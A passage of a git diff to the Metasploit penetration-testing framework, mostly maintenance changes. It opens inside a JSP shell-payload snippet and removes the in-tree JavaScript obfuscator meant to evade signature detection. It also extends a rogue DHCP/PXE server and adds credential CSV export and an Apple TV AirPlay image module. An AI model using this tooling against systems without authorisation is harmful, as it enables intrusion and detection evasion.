(System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) { + ShellPath = new String("/bin/sh"); +} else { + ShellPath = new String("cmd.exe"); +} + EOS + end + + jsp + end + end diff --git a/lib/msf/core/payload_generator.rb b/lib/msf/core/payload_generator.rb index 7a0358a7a7f9..3b7d5b69e5d9 100644 --- a/lib/msf/core/payload_generator.rb +++ b/lib/msf/core/payload_generator.rb @@ -364,7 +364,9 @@ def run_encoder(encoder_module, shellcode) iterations.times do |x| shellcode = encoder_module.encode(shellcode.dup, badchars, nil, platform_list) cli_print "#{encoder_module.refname} succeeded with size #{shellcode.length} (iteration=#{x})" - raise EncoderSpaceViolation, "encoder has made a buffer that is too big" if shellcode.length > space + if shellcode.length > space + raise EncoderSpaceViolation, "encoder has made a buffer that is too big" + end end shellcode end diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index d128cfb21310..c6cb68140418 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -2070,7 +2070,7 @@ def cmd_show_help global_opts = %w{all encoders nops exploits payloads auxiliary plugins options} print_status("Valid parameters for the \"show\" command are: #{global_opts.join(", ")}") - module_opts = %w{ advanced evasion targets actions } + module_opts = %w{ missing advanced evasion targets actions } print_status("Additional module-specific parameters are: #{module_opts.join(", ")}") end @@ -2113,6 +2113,12 @@ def cmd_show(*args) else show_global_options end + when 'missing' + if (mod) + show_missing(mod) + else + print_error("No module selected.") + end when 'advanced' if (mod) show_advanced_options(mod) @@ -2167,7 +2173,7 @@ def cmd_show_tabs(str, words) res = %w{all encoders nops exploits payloads auxiliary post plugins options} if (active_module) - res.concat(%w{ advanced evasion targets actions }) + res.concat(%w{ missing advanced evasion targets actions }) if (active_module.respond_to? :compatible_sessions) res << "sessions" end @@ -3144,6 +3150,29 @@ def show_options(mod) # :nodoc: #print("\nTarget: #{mod.target.name}\n\n") end + def show_missing(mod) # :nodoc: + mod_opt = Serializer::ReadableText.dump_options(mod, ' ', true) + print("\nModule options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0) + + # If it's an exploit and a payload is defined, create it and + # display the payload's options + if (mod.exploit? and mod.datastore['PAYLOAD']) + p = framework.payloads.create(mod.datastore['PAYLOAD']) + + if (!p) + print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n") + return + end + + p.share_datastore(mod.datastore) + + if (p) + p_opt = Serializer::ReadableText.dump_options(p, ' ', true) + print("\nPayload options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0) + end + end + end + def show_global_options columns = [ 'Option', 'Current Setting', 'Description' ] tbl = Table.new( diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index 25d859075295..219ab26ceb47 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -669,6 +669,7 @@ def cmd_creds_help print_line print_line "General options" print_line " -h,--help Show this help information" + print_line " -o <file> Send output to a file in csv format" print_line print_line "Filter options for listing" print_line " -P,--password <regex> List passwords that match this regex" @@ -900,7 +901,14 @@ def creds_search(*args) end end - print_line(tbl.to_s) + if output_file.nil? + print_line(tbl.to_s) + else + # create the output file + ::File.open(output_file, "wb") { |f| f.write(tbl.to_csv) } + print_status("Wrote creds to #{output_file}") + end + print_status("Deleted #{delete_count} creds") if delete_count > 0 } end diff --git a/lib/rex.rb b/lib/rex.rb index 8b9c39bbac03..8b6140ea3433 100644 --- a/lib/rex.rb +++ b/lib/rex.rb @@ -1,8 +1,9 @@ +# -*- coding: binary -*- =begin The Metasploit Rex library is provided under the 3-clause BSD license. -Copyright (c) 2005-2010, Rapid7, Inc. +Copyright (c) 2005-2014, Rapid7, Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, diff --git a/lib/rex/arch.rb b/lib/rex/arch.rb index 13e6c99c27aa..dfb88e3b1901 100644 --- a/lib/rex/arch.rb +++ b/lib/rex/arch.rb @@ -48,7 +48,7 @@ def self.pack_addr(arch, addr) case arch when ARCH_X86 [addr].pack('V') - when ARCH_X86_64 + when ARCH_X86_64, ARCH_X64 [addr].pack('Q<') when ARCH_MIPS # ambiguous [addr].pack('N') diff --git a/lib/rex/arch/x86.rb b/lib/rex/arch/x86.rb index 42743e993dd8..cfe05c64d430 100644 --- a/lib/rex/arch/x86.rb +++ b/lib/rex/arch/x86.rb @@ -244,7 +244,7 @@ def self.set(dst, val, badchars = '') _check_reg(dst) # If the value is 0 try xor/sub dst, dst (2 bytes) - if(val == 0) + if val == 0 opcodes = Rex::Text.remove_badchars("\x29\x2b\x31\x33", badchars) if !opcodes.empty? return opcodes[rand(opcodes.length)].chr + encode_modrm(dst, dst) @@ -261,8 +261,9 @@ def self.set(dst, val, badchars = '') # try clear dst, mov BYTE dst (4 bytes) begin - # break if val == 0 - return _check_badchars(clear(dst, badchars) + mov_byte(dst, val), badchars) + unless val == 0 # clear tries to set(dst, 0, badchars), entering an infinite recursion + return _check_badchars(clear(dst, badchars) + mov_byte(dst, val), badchars) + end rescue ::ArgumentError, ::RuntimeError, ::RangeError end @@ -280,8 +281,9 @@ def self.set(dst, val, badchars = '') # try clear dst, mov WORD dst (6 bytes) begin - # break if val == 0 - return _check_badchars(clear(dst, badchars) + mov_word(dst, val), badchars) + unless val == 0 # clear tries to set(dst, 0, badchars), entering an infinite recursion + return _check_badchars(clear(dst, badchars) + mov_word(dst, val), badchars) + end rescue ::ArgumentError, ::RuntimeError, ::RangeError end diff --git a/lib/rex/elfparsey/elf.rb b/lib/rex/elfparsey/elf.rb index 51c7fcc5f7e4..4652c27f0b3e 100644 --- a/lib/rex/elfparsey/elf.rb +++ b/lib/rex/elfparsey/elf.rb @@ -34,7 +34,7 @@ def initialize(isource) isource.read(offset, PROGRAM_HEADER_SIZE), ei_data ) - if program_header[-1].p_type == PT_LOAD && base_addr == 0 + if program_header[-1].p_type == PT_LOAD && program_header[-1].p_flags & PF_EXEC > 0 base_addr = program_header[-1].p_vaddr end diff --git a/lib/rex/elfparsey/elfbase.rb b/lib/rex/elfparsey/elfbase.rb index 3652333bb12d..e950bdb69d3c 100644 --- a/lib/rex/elfparsey/elfbase.rb +++ b/lib/rex/elfparsey/elfbase.rb @@ -214,6 +214,15 @@ def e_ident [ 'uint32n', 'p_align', 0 ] ) + # p_flags This member tells which permissions should have the segment + + # Flags + + PF_EXEC = 1 + PF_WRITE = 2 + PF_READ = 4 + + # # p_type This member tells what kind of segment this array element # describes or how to interpret the array element's information. diff --git a/lib/rex/encoder/nonalpha.rb b/lib/rex/encoder/nonalpha.rb index c90aea6d4c47..77d350e20718 100644 --- a/lib/rex/encoder/nonalpha.rb +++ b/lib/rex/encoder/nonalpha.rb @@ -7,7 +7,7 @@ module Encoder class NonAlpha - def NonAlpha.gen_decoder() + def NonAlpha.gen_decoder decoder = "\x66\xB9\xFF\xFF" + "\xEB\x19" + # Jmp to table @@ -28,13 +28,13 @@ def NonAlpha.gen_decoder() end def NonAlpha.encode_byte(block, table, tablelen) - if (tablelen > 255) or (block == 0x7B) + if tablelen > 255 || block == 0x7B raise RuntimeError, "BadChar" end - if (block >= 0x41 and block <= 0x5A) or (block >= 0x61 and block <= 0x7A) + if (block >= 0x41 && block <= 0x5A) || (block >= 0x61 && block <= 0x7A) # gen offset, return magic - offset = 0x7b - block; + offset = 0x7b - block table += offset.chr tablelen = tablelen + 1 block = 0x7B diff --git a/lib/rex/exploitation/jsobfu.rb b/lib/rex/exploitation/jsobfu.rb index c722e2749c6a..0e7e3ae8922d 100644 --- a/lib/rex/exploitation/jsobfu.rb +++ b/lib/rex/exploitation/jsobfu.rb @@ -1,513 +1,17 @@ # -*- coding: binary -*- -require 'rex/text' -require 'rex/random_identifier_generator' -require 'rkelly' +require 'jsobfu' module Rex module Exploitation - -# -# Obfuscate JavaScript by randomizing as much as possible and removing -# easily-signaturable string constants. -# -# Example: -# js = ::Rex::Exploitation::JSObfu.new %Q| -# var a = "0\\612\\063\\x34\\x35\\x36\\x37\\x38\\u0039"; -# var b = { foo : "foo", bar : "bar" } -# alert(a); -# alert(b.foo); -# | -# js.obfuscate -# puts js -# Example Output: -# var VwxvESbCgv = String.fromCharCode(0x30,0x31,062,063,064,53,0x36,067,070,0x39); -# var ToWZPn = { -# "\146\157\x6f": (function () { var yDyv="o",YnCL="o",Qcsa="f"; return Qcsa+YnCL+yDyv })(), -# "\142ar": String.fromCharCode(0142,97,0162) -# }; -# alert(VwxvESbCgv); -# alert(ToWZPn.foo); -# -# NOTE: Variables MUST be declared with a 'var' statement BEFORE first use (or -# not at all) for this to generate correct code! If variables are not declared -# they will not be randomized but the generated code will be correct. # -# Bad Example Javascript: -# a = "asdf"; // this variable hasn't been declared and will not be randomized -# var a; -# alert(a); // real js engines will alert "asdf" here -# Bad Example Obfuscated: -# a = (function () { var hpHu="f",oyTm="asd"; return oyTm+hpHu })(); -# var zSrnHpEfJZtg; -# alert(zSrnHpEfJZtg); -# Notice that the first usage of +a+ (before it was declared) is not -# randomized. Thus, the obfuscated version will alert 'undefined' instead of -# "asdf". +# Simple wrapper class that makes the JSObfu functionality +# from the gem available under the Rex namespace. # -class JSObfu - - # these keywords should never be used as a random var name - # source: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Reserved_Words - RESERVED_KEYWORDS = %w( - break case catch continue debugger default delete do else finally - for function if in instanceof new return switch this throw try - typeof var void while with class enum export extends import super - implements interface let package private protected public static yield - ) - - # - # Abstract Syntax Tree generated by RKelly::Parser#parse - # - attr_reader :ast - - # - # Saves +code+ for later obfuscation with #obfuscate - # - def initialize(code) - @code = code - @funcs = {} - @vars = {} - @debug = false - @rand_gen = Rex::RandomIdentifierGenerator.new( - :max_length => 15, - :first_char_set => Rex::Text::Alpha+"_$", - :char_set => Rex::Text::AlphaNumeric+"_$" - ) - end - - # - # Add +str+ to the un-obfuscated code. - # - # Calling this method after #obfuscate is undefined - # - def <<(str) - @code << str - end - - # - # Return the (possibly obfuscated) code as a string. - # - # If #obfuscate has not been called before this, returns the parsed, - # unobfuscated code. This can be useful for example to remove comments and - # standardize spacing. - # - def to_s - parse if not @ast - @ast.to_ecma - end - - # - # Return the obfuscated name of a symbol - # - # You MUST call #obfuscate before this method! - # - def sym(lookup) - if @vars[lookup] - ret = @vars[lookup] - elsif @funcs[lookup] - ret = @funcs[lookup] - else - ret = lookup - end - ret - end - - # - # Parse and obfuscate - # - def obfuscate - parse - obfuscate_r(@ast) - end - - # @return [String] a unique random var name that is not a reserved keyword - def random_var_name - loop do - text = random_string - unless @vars.has_value?(text) or RESERVED_KEYWORDS.include?(text) - return text - end - end - end - -protected - - # @return [String] a random string - def random_string - @rand_gen.generate - end - - # - # Recursive method to obfuscate the given +ast+. - # - # +ast+ should be the result of RKelly::Parser#parse - # - def obfuscate_r(ast) - ast.each do |node| - #if node.respond_to? :value and node.value.kind_of? String and node.value =~ /bodyOnLoad/i - # $stdout.puts("bodyOnLoad: #{node.class}: #{node.value}") - #end - - case node - when nil - nil - - when ::RKelly::Nodes::SourceElementsNode - # Recurse - obfuscate_r(node.value) - - #when ::RKelly::Nodes::ObjectLiteralNode - # TODO - #$stdout.puts(node.methods - Object.new.methods) - #$stdout.puts(node.value.inspect) - - when ::RKelly::Nodes::PropertyNode - # Property names must be bare words or string literals NOT - # expressions! Can't use transform_string() here - if node.name =~ /^[a-zA-Z_][a-zA-Z0-9_]*$/ - n = '"' - node.name.unpack("C*") { |c| - case rand(3) - when 0; n << "\\x%02x"%(c) - when 1; n << "\\#{c.to_s 8}" - when 2; n << [c].pack("C") - end - } - n << '"' - node.instance_variable_set(:@name, n) - end - - # Variables - when ::RKelly::Nodes::VarDeclNode - if @vars[node.name].nil? - @vars[node.name] = random_var_name - end - node.name = @vars[node.name] - when ::RKelly::Nodes::ParameterNode - if @vars[node.value].nil? - @vars[node.value] = random_var_name - end - node.value = @vars[node.value] - when ::RKelly::Nodes::ResolveNode - #$stdout.puts("Resolve bodyOnload: #{@vars[node.value]}") if "bodyOnLoad" == node.value - node.value = @vars[node.value] if @vars[node.value] - when ::RKelly::Nodes::DotAccessorNode - case node.value - when ::RKelly::Nodes::ResolveNode - if @vars[node.value.value] - node.value.value = @vars[node.value.value] - end - #else - # $stderr.puts("Non-resolve node as target of dotaccessor: #{node.value.class}") - end - - # Functions - when ::RKelly::Nodes::FunctionDeclNode - #$stdout.puts("FunctionDecl: #{node.value}") - # Functions can also act as objects, so store them in the vars - # and the functions list so we can replace them in both places - if @funcs[node.value].nil? and not @funcs.values.include?(node.value) - @funcs[node.value] = random_var_name - if @vars[node.value].nil? - @vars[node.value] = @funcs[node.value] - end - node.value = @funcs[node.value] - end - when ::RKelly::Nodes::FunctionCallNode - # The value of a FunctionCallNode is some sort of accessor node or a ResolveNode - # so this is basically useless - #$stdout.puts("Function call: #{node.name} => #{@funcs[node.name]}") - #node.value = @funcs[node.value] if @funcs[node.value] - - # Transformers - when ::RKelly::Nodes::NumberNode - node.value = transform_number(node.value) - when ::RKelly::Nodes::StringNode - node.value = transform_string(node.value) - else - #$stderr.puts "#{node.class}: #{node.value}" - #$stderr.puts "#{node.class}" - end - - #unless node.kind_of? ::RKelly::Nodes::SourceElementsNode - # $stderr.puts "#{node.class}: #{node.value}" - #end - end - - nil - end - - # - # Generate an Abstract Syntax Tree (#ast) for later obfuscation - # - def parse - parser = RKelly::Parser.new - @ast = parser.parse(@code) - end - - # - # Convert a number to a random base (decimal, octal, or hexedecimal). - # - # Given 10 as input, the possible return values are: - # "10" - # "0xa" - # "012" - # - def rand_base(num) - case rand(3) - when 0; num.to_s - when 1; "0%o" % num - when 2; "0x%x" % num - end - end - - # - # Return a mathematical expression that will evaluate to the given number - # +num+. - # - # +num+ can be a float or an int, but should never be negative. - # - def transform_number(num) - case num - when Fixnum - if num == 0 - r = rand(10) + 1 - transformed = "('#{Rex::Text.rand_text_alpha(r)}'.length - #{r})" - elsif num > 0 and num < 10 - # use a random string.length for small numbers - transformed = "'#{Rex::Text.rand_text_alpha(num)}'.length" - else - transformed = "(" - divisor = rand(num) + 1 - a = num / divisor.to_i - b = num - (a * divisor) - # recurse half the time for a - a = (rand(2) == 0) ? transform_number(a) : rand_base(a) - # recurse half the time for divisor - divisor = (rand(2) == 0) ? transform_number(divisor) : rand_base(divisor) - transformed << "#{a}*#{divisor}" - transformed << "+#{b}" - transformed << ")" - end - when Float - transformed = "(#{num - num.floor} + #{rand_base(num.floor)})" - end - - #puts("#{num} == #{transformed}") - - transformed - end - - # - # Convert a javascript string into something that will generate that string. - # - # Randomly calls one of the +transform_string_*+ methods - # - def transform_string(str) - quote = str[0,1] - # pull off the quotes - str = str[1,str.length - 2] - return quote*2 if str.length == 0 - - case rand(2) - when 0 - transformed = transform_string_split_concat(str, quote) - when 1 - transformed = transform_string_fromCharCode(str) - #when 2 - # # Currently no-op - # transformed = transform_string_unescape(str) - end - - #$stderr.puts "Obfuscating str: #{str.ljust 30} #{transformed}" - transformed - end - - # - # Split a javascript string, +str+, without breaking escape sequences. - # - # The maximum length of each piece of the string is half the total length - # of the string, ensuring we (almost) always split into at least two - # pieces. This won't always be true when given a string like "AA\x41", - # where escape sequences artificially increase the total length (escape - # sequences are considered a single character). - # - # Returns an array of two-element arrays. The zeroeth element is a - # randomly generated variable name, the first is a piece of the string - # contained in +quote+s. - # - # See #escape_length - # - def safe_split(str, quote) - parts = [] - max_len = str.length / 2 - while str.length > 0 - len = 0 - loop do - e_len = escape_length(str[len..-1]) - e_len = 1 if e_len.nil? - len += e_len - # if we've reached the end of the string, bail - break unless str[len] - break if len > max_len - # randomize the length of each part - break if (rand(4) == 0) - end - - part = str.slice!(0, len) - - var = Rex::Text.rand_text_alpha(4) - parts.push( [ var, "#{quote}#{part}#{quote}" ] ) - end - - parts - end - - # - # Stolen from obfuscatejs.rb - # - # Determines the length of an escape sequence - # - def escape_length(str) - esc_len = nil - if str[0,1] == "\\" - case str[1,1] - when "u"; esc_len = 6 # unicode \u1234 - when "x"; esc_len = 4 # hex, \x41 - when /[0-7]/ # octal, \123, \0 - str[1,3] =~ /([0-7]{1,3})/ - if $1.to_i(8) > 255 - str[1,3] =~ /([0-7]{1,2})/ - end - esc_len = 1 + $1.length - else; esc_len = 2 # \" \n, etc. - end - end - esc_len - end - - # - # Split a javascript string, +str+, into multiple randomly-ordered parts - # and return an anonymous javascript function that joins them in the - # correct order. This method can be called safely on strings containing - # escape sequences. See #safe_split. - # - def transform_string_split_concat(str, quote) - parts = safe_split(str, quote) - func = "(function () { var " - ret = "; return " - parts.sort { |a,b| rand }.each do |part| - func << "#{part[0]}=#{part[1]}," - end - func.chop! - - ret << parts.map{|part| part[0]}.join("+") - final = func + ret + " })()" - - final - end - - - # TODO - #def transform_string_unescape(str) - # str - #end - - # - # Return a call to String.fromCharCode() with each char of the input as arguments - # - # Example: - # input : "A\n" - # output: String.fromCharCode(0x41, 10) - # - def transform_string_fromCharCode(str) - buf = "String.fromCharCode(" - bytes = str.unpack("C*") - len = 0 - while str.length > 0 - if str[0,1] == "\\" - str.slice!(0,1) - # then this is an escape sequence and we need to deal with all - # the special cases - case str[0,1] - # For chars that contain their non-escaped selves, step past - # the backslash and let the rand_base() below decide how to - # represent the character. - when '"', "'", "\\", " " - char = str.slice!(0,1).unpack("C").first - # For symbolic escapes, use the known value - when "n"; char = 0x0a; str.slice!(0,1) - when "t"; char = 0x09; str.slice!(0,1) - # Lastly, if it's a hex, unicode, or octal escape, pull out the - # real value and use that - when "x" - # Strip the x - str.slice!(0,1) - char = str.slice!(0,2).to_i 16 - when "u" - # This can potentially lose information in the case of - # characters like \u0041, but since regular ascii is stored - # as unicode internally, String.fromCharCode(0x41) will be - # represented as 00 41 in memory anyway, so it shouldn't - # matter. - str.slice!(0,1) - char = str.slice!(0,4).to_i 16 - when /[0-7]/ - # Octals are a bit harder since they are variable width and - # don't necessarily mean what you might think. For example, - # "\61" == "1" and "\610" == "10". 610 is a valid octal - # number, but not a valid ascii character. Javascript will - # interpreter as much as it can as a char and use the rest - # as a literal. Boo. - str =~ /([0-7]{1,3})/ - char = $1.to_i 8 - if char > 255 - str =~ /([0-7]{1,2})/ - char = $1.to_i 8 - end - str.slice!(0,$1.length) - end - else - char = str.slice!(0,1).unpack("C").first - end - buf << "#{rand_base(char)}," - end - # Strip off the last comma - buf = buf[0,buf.length-1] + ")" - transformed = buf - - transformed - end - +class JSObfu < ::JSObfu end -end -end - - -=begin -if __FILE__ == $0 - if ARGV[0] - code = File.read(ARGV[0]) - else - #require 'rex/exploitation/javascriptosdetect' - #code = Rex::Exploitation::JavascriptOSDetect.new.to_s - code = <<-EOS - // Should alert "0123456789" - var a = "0\\612\\063\\x34\\x35\\x36\\x37\\x38\\u0039"; - var a,b=2,c=3; - alert(a); - // should alert "asdfjkl;" - var d = (function() { var foo = "jkl;", blah = "asdf"; return blah + foo; })(); - alert(d); - EOS - end - js = Rex::Exploitation::JSObfu.new(code) - js.obfuscate - puts js.to_s end - -=end +end diff --git a/lib/rex/mime/header.rb b/lib/rex/mime/header.rb index b03b9a76640c..a1830f838b49 100644 --- a/lib/rex/mime/header.rb +++ b/lib/rex/mime/header.rb @@ -25,8 +25,9 @@ def parse(data) next end - var,val = line.split(':') - next if not val + var, val = line.split(':', 2) + next if val.nil? + self.headers << [ var.to_s.strip, val.to_s.strip ] prev = self.headers.length - 1 end diff --git a/lib/rex/mime/message.rb b/lib/rex/mime/message.rb index c8f346737776..cd10b832e107 100644 --- a/lib/rex/mime/message.rb +++ b/lib/rex/mime/message.rb @@ -24,9 +24,8 @@ def initialize(data=nil) self.header.parse(head) ctype = self.header.find('Content-Type') - if ctype and ctype[1] and ctype[1] =~ /multipart\/mixed;\s*boundary=([^\s]+)/ + if ctype and ctype[1] and ctype[1] =~ /multipart\/mixed;\s*boundary="?([A-Za-z0-9'\(\)\+\_,\-\.\/:=\?^\s]+)"?/ self.bound = $1 - chunks = body.to_s.split(/--#{self.bound}(--)?\r?\n/) self.content = chunks.shift.to_s.gsub(/\s+$/, '') self.content << "\r\n" if not self.content.empty? diff --git a/lib/rex/proto/dhcp/constants.rb b/lib/rex/proto/dhcp/constants.rb index 96e2829691cd..40956a65c57c 100644 --- a/lib/rex/proto/dhcp/constants.rb +++ b/lib/rex/proto/dhcp/constants.rb @@ -19,8 +19,10 @@ module DHCP OpLeaseTime = 0x33 OpSubnetMask = 1 OpRouter = 3 +OpDomainName = 15 OpDns = 6 OpHostname = 0x0c +OpURL = 0x72 OpEnd = 0xff PXEMagic = "\xF1\x00\x74\x7E" diff --git a/lib/rex/proto/dhcp/server.rb b/lib/rex/proto/dhcp/server.rb index 9a314bbb8b36..5fb07804bdad 100644 --- a/lib/rex/proto/dhcp/server.rb +++ b/lib/rex/proto/dhcp/server.rb @@ -94,6 +94,9 @@ def initialize(hash, context = {}) self.pxealtconfigfile = "update0" self.pxepathprefix = "" self.pxereboottime = 2000 + + self.domain_name = hash['DOMAINNAME'] || nil + self.url = hash['URL'] if hash.include?('URL') end def report(&block) @@ -126,7 +129,7 @@ def set_option(opts) allowed_options = [ :serveOnce, :pxealtconfigfile, :servePXE, :relayip, :leasetime, :dnsserv, :pxeconfigfile, :pxepathprefix, :pxereboottime, :router, - :give_hostname, :served_hostname, :served_over, :serveOnlyPXE + :give_hostname, :served_hostname, :served_over, :serveOnlyPXE, :domain_name, :url ] opts.each_pair { |k,v| @@ -151,10 +154,11 @@ def send_packet(ip, pkt) end attr_accessor :listen_host, :listen_port, :context, :leasetime, :relayip, :router, :dnsserv + attr_accessor :domain_name attr_accessor :sock, :thread, :myfilename, :ipstring, :served, :serveOnce attr_accessor :current_ip, :start_ip, :end_ip, :broadcasta, :netmaskn attr_accessor :servePXE, :pxeconfigfile, :pxealtconfigfile, :pxepathprefix, :pxereboottime, :serveOnlyPXE - attr_accessor :give_hostname, :served_hostname, :served_over, :reporter + attr_accessor :give_hostname, :served_hostname, :served_over, :reporter, :url protected @@ -166,7 +170,7 @@ def monitor_socket wds = [] eds = [@sock] - r,w,e = ::IO.select(rds,wds,eds,1) + r,_,_ = ::IO.select(rds,wds,eds,1) if (r != nil and r[0] == self.sock) buf,host,port = self.sock.recvfrom(65535) @@ -198,19 +202,19 @@ def dispatch_request(from, buf) end # parse out the members - hwtype = buf[1,1] + _hwtype = buf[1,1] hwlen = buf[2,1].unpack("C").first - hops = buf[3,1] - txid = buf[4..7] - elapsed = buf[8..9] - flags = buf[10..11] + _hops = buf[3,1] + _txid = buf[4..7] + _elapsed = buf[8..9] + _flags = buf[10..11] clientip = buf[12..15] - givenip = buf[16..19] - nextip = buf[20..23] - relayip = buf[24..27] - clienthwaddr = buf[28..(27+hwlen)] + _givenip = buf[16..19] + _nextip = buf[20..23] + _relayip = buf[24..27] + _clienthwaddr = buf[28..(27+hwlen)] servhostname = buf[44..107] - filename = buf[108..235] + _filename = buf[108..235] magic = buf[236..239] if (magic != DHCPMagic) @@ -293,6 +297,8 @@ def dispatch_request(from, buf) pkt << dhcpoption(OpSubnetMask, self.netmaskn) pkt << dhcpoption(OpRouter, self.router) pkt << dhcpoption(OpDns, self.dnsserv) + pkt << dhcpoption(OpDomainName, self.domain_name) + if self.servePXE # PXE options pkt << dhcpoption(OpPXEMagic, PXEMagic) # We already got this one, serve localboot file @@ -317,6 +323,7 @@ def dispatch_request(from, buf) pkt << dhcpoption(OpHostname, send_hostname) end end + pkt << dhcpoption(OpURL, self.url) if self.url pkt << dhcpoption(OpEnd) pkt << ("\x00" * 32) #padding diff --git a/lib/rex/proto/http/packet.rb b/lib/rex/proto/http/packet.rb index 982669aeb26b..90463622da0c 100644 --- a/lib/rex/proto/http/packet.rb +++ b/lib/rex/proto/http/packet.rb @@ -32,7 +32,7 @@ module ParseState Completed = 3 end - require 'rex/proto/http/header' + require 'rex/proto/http/packet/header' # # Initializes an instance of an HTTP packet. diff --git a/lib/rex/proto/http/header.rb b/lib/rex/proto/http/packet/header.rb similarity index 100% rename from lib/rex/proto/http/header.rb rename to lib/rex/proto/http/packet/header.rb diff --git a/lib/rex/proto/iax2/call.rb b/lib/rex/proto/iax2/call.rb index 8f13f8323bf3..f0711f1b75ea 100644 --- a/lib/rex/proto/iax2/call.rb +++ b/lib/rex/proto/iax2/call.rb @@ -77,6 +77,11 @@ def register chall = res[2][IAX_IE_CHALLENGE_DATA] end + if chall.nil? + dprint("REGAUTH: No challenge data received") + return + end + self.client.send_regreq_chall_response(self, chall) res = wait_for( IAX_SUBTYPE_REGACK, IAX_SUBTYPE_REGREJ ) return if not res diff --git a/lib/tasks/custom_cucumber.rake b/lib/tasks/custom_cucumber.rake new file mode 100644 index 000000000000..3dab9d0697b2 --- /dev/null +++ b/lib/tasks/custom_cucumber.rake @@ -0,0 +1,24 @@ +unless ARGV.any? {|a| a =~ /^gems/} # Don't load anything when running the gems:* tasks + +vendored_cucumber_bin = Dir["#{Rails.root}/vendor/{gems,plugins}/cucumber*/bin/cucumber"].first +$LOAD_PATH.unshift(File.dirname(vendored_cucumber_bin) + '/../lib') unless vendored_cucumber_bin.nil? + +begin + require 'cucumber/rake/task' + + namespace :cucumber do + Cucumber::Rake::Task.new({:boot => 'db:test:prepare'}, 'Run features that should pass') do |t| + t.binary = vendored_cucumber_bin # If nil, the gem's binary is used. + t.fork = true # You may get faster startup if you set this to false + t.profile = 'boot' + end + end + +rescue LoadError + desc 'cucumber rake task not available (cucumber not installed)' + task :cucumber do + abort 'Cucumber rake task is not available. Be sure to install cucumber as a gem or plugin' + end +end + +end \ No newline at end of file diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 792efb892114..3f1fd9b334c9 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -55,11 +55,15 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'actionpack', rails_version_constraint # Needed for some admin modules (cfme_manageiq_evm_pass_reset.rb) spec.add_runtime_dependency 'bcrypt' + # Needed for Javascript obfuscation + spec.add_runtime_dependency 'jsobfu', '~> 0.1.7' # Needed for some admin modules (scrutinizer_add_user.rb) spec.add_runtime_dependency 'json' + # Metasploit::Concern hooks + spec.add_runtime_dependency 'metasploit-concern', '~> 0.2.1' # Things that would normally be part of the database model, but which # are needed when there's no database - spec.add_runtime_dependency 'metasploit-model', '~> 0.26.1' + spec.add_runtime_dependency 'metasploit-model', '~> 0.27.1' # Needed for Meterpreter on Windows, soon others. spec.add_runtime_dependency 'meterpreter_bins', '0.0.7' # Needed by msfgui and other rpc components @@ -70,8 +74,6 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'packetfu', '1.1.9' # Run initializers for metasploit-concern, metasploit-credential, metasploit_data_models Rails::Engines spec.add_runtime_dependency 'railties' - # Needed by JSObfu - spec.add_runtime_dependency 'rkelly-remix', '0.0.6' # Needed by anemone crawler spec.add_runtime_dependency 'robots' # Needed by some modules diff --git a/modules/auxiliary/admin/appletv/appletv_display_image.rb b/modules/auxiliary/admin/appletv/appletv_display_image.rb new file mode 100644 index 000000000000..5e27020f5fe4 --- /dev/null +++ b/modules/auxiliary/admin/appletv/appletv_display_image.rb @@ -0,0 +1,122 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apple TV Image Remote Control', + 'Description' => %q( + This module will show an image on an AppleTV device for a period of time. + Some AppleTV devices are actually password-protected, in that case please + set the PASSWORD datastore option. For password bruteforcing, please see + the module auxiliary/scanner/http/appletv_login. + ), + 'Author' => + [ + '0a29406d9794e4f9b30b3c5d6702c708', # Original work + 'sinn3r' # You can blame me for mistakes + ], + 'References' => + [ + ['URL', 'http://nto.github.io/AirPlay.html'] + ], + 'DefaultOptions' => { 'USERNAME' => 'AirPlay' }, + 'License' => MSF_LICENSE + )) + + # Make the PASSWORD option more visible and hope the user is more aware of this option + register_options([ + Opt::RPORT(7000), + OptInt.new('TIME', [true, 'Time in seconds to show the image', 10]), + OptPath.new('FILE', [true, 'Image to upload and show']), + OptString.new('PASSWORD', [false, 'The password for AppleTV AirPlay']) + ], self.class) + + # We're not actually using any of these against AppleTV in our Rex HTTP client init, + # so deregister them so we don't overwhelm the user with fake options. + deregister_options( + 'HTTP::uri_encode_mode', 'HTTP::uri_full_url', 'HTTP::pad_method_uri_count', + 'HTTP::pad_uri_version_count', 'HTTP::pad_method_uri_type', 'HTTP::pad_uri_version_type', + 'HTTP::method_random_valid', 'HTTP::method_random_invalid', 'HTTP::method_random_case', + 'HTTP::uri_dir_self_reference', 'HTTP::uri_dir_fake_relative', 'HTTP::uri_use_backslashes', + 'HTTP::pad_fake_headers', 'HTTP::pad_fake_headers_count', 'HTTP::pad_get_params', + 'HTTP::pad_get_params_count', 'HTTP::pad_post_params', 'HTTP::pad_post_params_count', + 'HTTP::uri_fake_end', 'HTTP::uri_fake_params_start', 'HTTP::header_folding', + 'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2', 'NTLM::SendLM', 'NTLM::SendNTLM', + 'NTLM::SendSPN', 'NTLM::UseLMKey', 'DOMAIN', 'DigestAuthIIS', 'VHOST' + ) + end + + + # + # Sends an image request to AppleTV. HttpClient isn't used because we actually need to keep + # the connection alive so that the video can keep playing. + # + def send_image_request(opts) + http = nil + + http = Rex::Proto::Http::Client.new( + rhost, + rport.to_i, + { + 'Msf' => framework, + 'MsfExploit' => self + }, + ssl, + 